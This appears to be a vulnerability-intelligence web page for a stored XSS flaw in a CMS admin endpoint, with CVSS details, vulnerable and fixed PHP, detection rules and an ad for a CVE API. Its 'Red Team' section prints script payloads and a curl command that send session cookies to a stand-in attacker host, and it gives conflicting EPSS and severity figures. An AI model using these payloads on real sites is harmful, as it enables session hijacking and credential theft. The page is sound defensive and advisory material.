☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-41021

CVE-2025-41021 Cross-Site Scripting in Sergestec
📅 PUBLISHED: 2025-10-16 08:00 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-41021 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Sergestec's Exito v8.0, a content management system. The flaw resides in the /admin/index.php?action=product_update endpoint, where the obs parameter is not properly sanitized or validated before being stored and later rendered in the application. An authenticated attacker can inject arbitrary JavaScript code via a POST request, which will be executed in the browsers of other authenticated users who view the affected product page. This can lead to session hijacking, credential theft, and further compromise of the administrative interface.

The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant for organizations using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Sergestec Exito web application.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)

  • Attack Vector (AV): Network – The attack can be carried out remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – The attacker must have an authenticated session (e.g., a low-privilege admin account).
  • User Interaction (UI): Required – The victim must view the compromised product page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal session cookies).
  • Confidentiality (C): Low – Limited data exposure (session tokens).
  • Integrity (I): Low – The attacker can modify content within the victim's browser.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the admin panel elevates the risk for organizations using Exito.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application fails to sanitize user-supplied input in the obs parameter during a product update operation.

Attack Flow:

  1. Authentication: The attacker must be authenticated to the Exito admin panel (e.g., as a product manager or admin).
  2. Crafting the Payload: The attacker crafts a POST request to /admin/index.php?action=product_update with a malicious JavaScript payload in the obs parameter. Example: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>.
  3. Storage: The server stores the unsanitized payload in the database (likely in a field like product_obs).
  4. Triggering: When another authenticated user (e.g., a super admin) views the product details page, the stored payload is rendered in the browser without proper encoding.
  5. Exploitation: The victim's browser executes the injected JavaScript, which can steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of output encoding and input validation on the obs parameter. The application likely uses echo $_POST['obs'] or similar without htmlspecialchars() or equivalent sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In admin/index.php (action=product_update)
$obs = $_POST['obs'];
$sql = "UPDATE products SET obs = '$obs' WHERE id = $product_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div class='obs'>$obs</div>";

Patched Code (Hypothetical):

// Sanitize input
$obs = htmlspecialchars($_POST['obs'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("UPDATE products SET obs = ? WHERE id = ?");
$stmt->bind_param("si", $obs, $product_id);
$stmt->execute();
// Output encoding
echo "<div class='obs'>" . htmlspecialchars($obs, ENT_QUOTES, 'UTF-8') . "</div>";

Key Differences:

  • Input is sanitized with htmlspecialchars().
  • Prepared statements are used to prevent SQL injection.
  • Output is encoded before rendering.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A valid authenticated session (e.g., cookie PHPSESSID=abc123).
  • Access to the admin panel.

Exploit Steps:

  1. Intercept the request: Use Burp Suite or a similar proxy to capture a legitimate product update request.
  2. Modify the obs parameter: Replace the value with a malicious payload.
  3. Send the request: The payload is stored.
  4. Trigger the XSS: Have a victim admin view the product page.

Example Payload (Session Stealing):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

Example cURL Command:

curl -X POST 'http://target.com/admin/index.php?action=product_update' \
  -H 'Cookie: PHPSESSID=valid_session_id' \
  -d 'id=1&obs=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'

Blue Team (Defensive)

Detection Steps:

  1. Monitor POST requests to /admin/index.php?action=product_update for suspicious obs parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
  2. Review server logs for unusual outbound connections from the admin panel (e.g., requests to unknown domains).
  3. Inspect database entries for the obs field in the products table for HTML/JavaScript content.

Mitigation (Temporary):

  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in the obs parameter.
  • Restrict access to the admin panel to trusted IPs only.
  • Manually sanitize the obs field in the database using a script.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests from the server to unknown domains (e.g., attacker.com).
  • POST requests to /admin/index.php?action=product_update with obs containing <script> tags.

File/Log IOCs:

  • Server access logs showing POST /admin/index.php?action=product_update with obs=<script>....
  • Database entries in the products table where the obs column contains HTML/JavaScript.

Example Log Entry:

192.168.1.100 - - [10/May/2025:12:34:56 +0000] "POST /admin/index.php?action=product_update HTTP/1.1" 200 1234 "http://target.com/admin/" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2025_41021_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Sergestec Exito obs parameter"
        author = "Valters IT"
        date = "2025-05-10"
        cve = "CVE-2025-41021"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss_src = /src\s*=\s*["']?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Sergestec Exito obs Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /admin/index.php?action=product_update with XSS payloads in the obs parameter
author: Valters IT
date: 2025/05/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: /admin/index.php?action=product_update
        cs-uri-query|contains: 'obs='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in product descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41021 Stored XSS in Sergestec Exito obs Parameter"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php?action=product_update"; http_uri; content:"obs="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the obs field in the product update form if not critical.
  2. Apply a WAF rule to block XSS payloads in the obs parameter.
  3. Restrict admin panel access to trusted IPs and enforce strong authentication.

Long-Term Fix:

  • Input Validation: Sanitize all user inputs using htmlspecialchars() or a similar function.
  • Output Encoding: Encode all data before rendering in HTML context.
  • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
  • Update: Monitor for an official patch from Sergestec and apply it immediately.

Verification:

  • After applying fixes, test by attempting to inject <script>alert(1)</script> into the obs field.
  • Use a vulnerability scanner to confirm the XSS is no longer exploitable.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-41021/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.